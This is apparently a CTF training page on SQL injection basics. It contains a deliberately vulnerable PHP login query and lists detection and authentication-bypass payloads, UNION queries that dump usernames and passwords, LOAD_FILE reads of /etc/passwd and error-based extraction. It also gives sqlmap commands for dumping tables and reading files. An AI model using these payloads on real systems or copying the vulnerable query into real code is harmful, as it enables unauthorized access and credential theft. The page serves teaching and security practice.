SQL Injection - Basics
Understand the fundamentals of SQL injection in CTF web challenges - detection, authentication bypass, and data extraction.
SQL Injection - Basics
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. This can allow an attacker to view data that they are not normally able to retrieve. This might include data that belongs to other users, or any other data that the application can access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure. It can also enable them to perform denial-of-service attacks.
How SQL Injection Works
A vulnerable login query in PHP:
// VULNERABLE - user input directly in the query string
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";Normal input: username = admin, password = secret123
SELECT * FROM users WHERE username='admin' AND password='secret123'Injected input: username = admin'--
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- The -- comments out the rest → password check is skipped → login as admin!
Detection
Try these basic payloads in every input field:
| Payload | Purpose / Behavior to Observe |
|---|---|
' | Syntax error? → likely vulnerable |
'' | If the error disappears → SQL error confirmed |
| ` | Alternate quote character |
') | Close parenthesis variant |
")) | Double quote + close parenthesis |
' OR '1'='1 | Always-true condition |
' OR 1=1-- | Comment out the rest of the query |
" OR 1=1-- | Double-quote variant |
admin'-- | Comment out the password check |
Signs of vulnerability:
- SQL error messages:
You have an error in your SQL syntax,ORA-01756,pg_query() - Application behavior changes between
' OR 1=1--(true) and' OR 1=2--(false) - Different page content for
'vs'' 500 Internal Server Errorwhen adding a quote
Authentication Bypass
The simplest SQLi goal - log in without valid credentials:
-- Classic: comment out the password check
' OR '1'='1'--
' OR 1=1--
' OR 1=1# ← MySQL comment style
-- Using admin username if known
admin'--
admin'#
admin'/*
-- Both username and password fields
Username: ' OR 1=1--
Password: (anything - it's ignored)POST body example:
username=' OR '1'='1'-- &password=anything
username=admin'--&password=wrongUNION-Based Data Extraction
Once SQL injection is confirmed and the application reflects query results, use UNION SELECT to extract data from other tables.
Find the Number of Columns
-- Method A: ORDER BY incrementing until error
?id=1 ORDER BY 1-- → works
?id=1 ORDER BY 2-- → works
?id=1 ORDER BY 3-- → error! → 2 columns
-- Method B: UNION SELECT NULL
?id=1 UNION SELECT NULL-- → error (wrong number)
?id=1 UNION SELECT NULL,NULL-- → works! → 2 columns
?id=1 UNION SELECT NULL,NULL,NULL-- → error (too many)Find Which Column is Displayed
?id=-1 UNION SELECT 'MARKER1','MARKER2'--
-- Look in the page source: which marker appears?
-- Use -1 to ensure the original query returns no rowsExtract Database Information
-- MySQL: get current database name
?id=-1 UNION SELECT database(),NULL--
-- MySQL: list all databases
?id=-1 UNION SELECT schema_name,NULL FROM information_schema.schemata--
-- MySQL: list tables in current database
?id=-1 UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
-- MySQL: list columns in a table
?id=-1 UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- MySQL: dump the users table
?id=-1 UNION SELECT username,password FROM users--
-- MySQL: get all in one field
?id=-1 UNION SELECT GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL FROM users--Reading Files (MySQL)
With sufficient privileges:
-- Read /etc/passwd
?id=-1 UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
-- Read the flag directly
?id=-1 UNION SELECT LOAD_FILE('/flag.txt'),NULL--
?id=-1 UNION SELECT LOAD_FILE('/flag'),NULL--
?id=-1 UNION SELECT LOAD_FILE('/home/ctf/flag.txt'),NULL--Requirements
The FILE privilege must be granted and secure_file_priv must allow the path. In many CTF setups these are relaxed intentionally.
Comment Styles by Database
-- (double dash + space required)
#
/* ... */Filter Bypass Techniques
Error-Based SQLi
When the error message reflects query data:
-- MySQL: extractvalue / updatexml
?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))--
?id=1 AND updatexml(1,concat(0x7e,(SELECT database())),1)--
-- Error contains the database name after ~
-- MySQL: subquery in GROUP BY
?id=1 GROUP BY concat((SELECT database()),floor(rand(0)*2))--SQLi in Different Contexts
http://target.com/page?id=1'
http://target.com/page?id=1 OR 1=1--Automated: sqlmap
sqlmap automates the entire SQLi process:
# Detect and enumerate (GET parameter)
sqlmap -u "http://target.com/page?id=1" --dbs
# POST form
sqlmap -u "http://target.com/login" \
--data="username=test&password=test" \
-p username --dbs
# With cookie
sqlmap -u "http://target.com/page" \
--cookie="userid=1" \
-p userid --dbs
# Dump specific database and table
sqlmap -u "http://target.com/page?id=1" \
-D ctfdb -T users --dump
# Read a file
sqlmap -u "http://target.com/page?id=1" \
--file-read="/flag.txt"
# Increase level/risk for harder targets
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3 --dbs
# Use Burp request file
sqlmap -r request.txt --dbsCTF Rules
Many CTFs forbid automated scanners. Always check the rules. Manual SQLi is preferred in competitions and demonstrates actual understanding.
Database Fingerprinting
SELECT @@version -- version string
SELECT @@datadir -- data directory
SELECT sleep(5) -- time delay
SELECT user() -- current userComplete Checklist
Practice Resources
- PortSwigger Web Security Academy - SQL Injection Labs (free, excellent)
- DVWA (Damn Vulnerable Web Application) - self-hosted practice
Last updated on